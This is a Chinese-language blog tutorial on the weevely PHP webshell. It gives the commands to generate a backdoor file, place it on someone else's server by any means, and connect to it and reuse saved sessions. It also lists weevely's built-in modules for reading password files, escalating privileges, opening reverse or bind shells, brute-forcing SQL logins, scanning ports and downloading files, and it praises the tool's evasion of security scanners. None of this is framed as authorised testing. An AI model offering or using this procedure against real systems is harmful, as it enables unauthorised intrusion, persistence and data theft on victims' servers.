Update avaliable. Click RELOAD to update.
目录

生成、管理、连接php后门webshell工具weevely的使用


生成、管理、连接php后门webshell工具weevely的使用

1. 介绍

weevely是一种命令行的webshell,它能生成php后门文件以及连接的功能。提供类似与ssh命令行终端的操作方式,weevely每次生成的webshell都不一样,所以可以有效的避免安全系统的查杀。

2. 特性

3. 依赖安装

由于weevely是python程序编写,所以需要安装python2.7的环境以及下载weevely的主程序包,另外还需要安装weevely的python依赖库,如下:

linux依赖库安装

sudo apt-get install g++ python-pip libyaml-dev python-dev
sudo pip install prettytable Mako PyYAML python-dateutil PySocks –upgrade

osx依赖库安装

sudo port install python27 py27-pip
sudo port select –set pip pip27
sudo port select –set python python27
sudo pip install prettytable Mako PyYAML python-dateutil readline PySocks –upgrade

windows依赖库安装

pip install prettytable Mako PyYAML python-dateutil pyreadline PySocks –upgrade

4. 使用

4.1 生成php后门文件

# weevely generate <连接密码> <后门保存路径>
weevely generate 123321 /root/b.php

4.2 上传后门文件

无论你用什么方式,只要把后门文件放到对方服务器中,且通过浏览器能访问到,可能是白板,但不会有404错误。

4.3 shell连接后门文件

# weevely <服务器后面HTTP路径> <连接密码>
weevely //vinny.cc/b.php 123321

weevely

weevely可以保存连接的session,此session并非是http里会话的概念,weevely的session保存的是站点的连接信息,通常情况下会保存在”~/.weevely/sessions/站点域名/后面文件名_x.session”中,如:”/root/.weevely/sessions/www.wangjunneil.com/b_0.session”。那么在下次连接到后面时可以通过此session文件进行连接,如下:

# weevely session <session文件路径> <shell命令>
weevely session /root/.weevely/sessions/www.wangjunneil.com/b_0.session
weevely session /root/.weevely/sessions/www.wangjunneil.com/b_0.session ls -al

5. weevely内部命令

weevely> help

 :audit_filesystem     审计系统文件错误的权限
 :audit_etcpasswd      查看linux系统下/etc/passwd的口令文件
 :audit_phpconf        查看当前系统php的配置信息
 :audit_suidsgid       通过SUID或SGID查找文件
 :shell_su             使用su命令提权
 :shell_sh             运行一个shell命令
 :shell_php            运行一个php命令
 :system_extensions    查看php和server服务器的扩展
 :system_info          全局查看系统信息
 :backdoor_tcp         Spawn a shell on a TCP port.
 :backdoor_reversetcp  运行一个反向TCP shell
 :bruteforce_sql       暴力破解SQL数据库
 :file_grep            查找匹配的文件
 :file_zip             压缩或解压缩zip文件
 :file_upload2web      Upload file automatically to a web folder and get corresponding URL.
 :file_enum            Check existence and permissions of a list of paths.
 :file_read            从远程系统读取文件
 :file_cd              切换目录
 :file_ls              列出目录内容
 :file_rm              删除文件
 :file_check           获取文件信息
 :file_gzip            压缩或解压缩gzip文件
 :file_cp              复制单个文件
 :file_tar             压缩或解压缩tar文件
 :file_bzip2           压缩或解压缩bzip2文件
 :file_upload          上传文件
 :file_webdownload     Download URL to the filesystem
 :file_touch           改变文件时间戳
 :file_edit            编辑文件
 :file_find            用给出的名称和属性查找文件
 :file_download        下载文件
 :file_mount           使用HTTPfs挂在远程文件系统到本地
 :sql_dump             Multi dbms mysqldump replacement.
 :sql_console          打开SQL控制台
 :net_curl             Perform a curl-like HTTP request.
 :net_scan             TCP端口扫描
 :net_ifconfig         获取网卡信息
 :net_proxy            开启本地代理
 :net_phpproxy         在系统中安装php代理
版权所有,本作品采用知识共享署名-非商业性使用 3.0 未本地化版本许可协议进行许可。转载请注明出处:https://www.wangjun.dev//2016/04/weevely-php-webshell/

Related posts